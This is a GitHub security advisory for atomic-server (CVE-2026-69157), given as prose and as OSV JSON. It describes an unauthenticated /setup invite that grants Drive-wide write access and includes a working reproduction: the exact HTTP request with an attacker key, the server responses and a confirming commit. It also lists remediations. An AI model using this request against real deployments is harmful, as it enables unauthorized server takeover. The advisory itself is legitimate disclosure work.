GHSA-PFWX-XJP4-QXCJ
Vulnerability from github – Published: 2026-11-18 20:42 – Updated: 2026-11-18 20:42Summary
atomic-server provisions a well-known invite at {server}/setup with write = true, target = the Drive root, and usagesLeft = 1. Invite redemption ignores the redeemer's identity (for_agent: _ in server/src/plugins/invite.rs:22), so possession of the URL is the only requirement. An unauthenticated attacker who sends GET /setup?public-key=<attacker_key> has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.
Severity
Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.
Affected component
server/src/appstate.rs— creates the/setupinvite targeting the Drive root withwrite=true,usagesLeft=1.server/src/plugins/invite.rs:14-173—construct_invite_redirectdestructuresfor_agent: _(redeemer identity discarded);?public-key=→Agent::new_from_public_key→add_rights(agent, target, write=true).
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop in Docker, http://localhost:9883, fresh store. No auth headers are used.
-
Confirm the invite is live —
GET /setup(Accept:application/ad+json) showsinvite/write = true,invite/target = http://localhost:9883(Drive root),usagesLeft = 1. -
Redeem it anonymously with an attacker-generated ed25519 public key:
GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json
Response 200 OK returns a Redirect confirming the new agent:
{
"https://atomicdata.dev/properties/invite/redirectAgent":
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
"https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
GET /shows the attacker is now in the Drive'swritearray:
"https://atomicdata.dev/properties/write": [
"http://localhost:9883/agents/+/KwsAmyzc7S/...", // legit root
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=" // ATTACKER
]
- The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and
POST /commit(200) — the Drive root was successfully edited. Write access proven.
Expected: /setup must require operator authentication / a one-time secret.
Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.
Impact
Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)
Remediation
- Require a one-time secret (printed to stdout at startup) or operator authentication to redeem
/setup. - Invalidate
/setupafter first use with an atomicusagesLeftdecrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently. - Fix the inverted invite-expiry check in
invite.rs(if expires > now { reject }is backwards, so expired invites remain redeemable and valid ones are rejected).
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "atomic-server"
},
"ranges": [
{
"events": [
{
"introduced": "0.29.0"
},
{
"last_affected": "0.40.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69157"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T20:42:33Z",
"nvd_published_at": "2026-11-17T21:18:12Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\natomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer\u0027s identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=\u003cattacker_key\u003e` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.\n\n## Severity\n\n**Critical \u2014 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).** No authentication required; grants attacker-controlled write over all resources in the Drive.\n\n## Affected component\n\n- `server/src/appstate.rs` \u2014 creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.\n- `server/src/plugins/invite.rs:14-173` \u2014 `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` \u2192 `Agent::new_from_public_key` \u2192 `add_rights(agent, target, write=true)`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.\n\n1. Confirm the invite is live \u2014 `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.\n\n2. Redeem it anonymously with an attacker-generated ed25519 public key:\n\n```http\nGET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1\nHost: localhost:9883\nAccept: application/ad+json\n```\n\nResponse `200 OK` returns a `Redirect` confirming the new agent:\n\n```json\n{\n \"https://atomicdata.dev/properties/invite/redirectAgent\":\n \"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\",\n \"https://atomicdata.dev/properties/isA\": [\"https://atomicdata.dev/classes/Redirect\"]\n}\n```\n\n3. `GET /` shows the attacker is now in the Drive\u0027s `write` array:\n\n```json\n\"https://atomicdata.dev/properties/write\": [\n \"http://localhost:9883/agents/+/KwsAmyzc7S/...\", // legit root\n \"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\" // ATTACKER\n]\n```\n\n4. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) \u2014 the Drive root was successfully edited. Write access proven.\n\n**Expected:** `/setup` must require operator authentication / a one-time secret.\n**Actual:** Any unauthenticated client on the network redeems it and gains Drive-wide write.\n\n## Impact\n\nUnauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root \u2014 reported separately.)\n\n## Remediation\n\n- Require a one-time secret (printed to stdout at startup) or operator authentication to redeem `/setup`.\n- Invalidate `/setup` after first use with an **atomic** `usagesLeft` decrement (sled transaction) \u2014 the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.\n- Fix the inverted invite-expiry check in `invite.rs` (`if expires \u003e now { reject }` is backwards, so expired invites remain redeemable and valid ones are rejected).",
"id": "GHSA-pfwx-xjp4-qxcj",
"modified": "2026-11-18T20:42:33Z",
"published": "2026-11-18T20:42:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69157"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969"
},
{
"type": "PACKAGE",
"url": "https://github.com/ontola/atomic-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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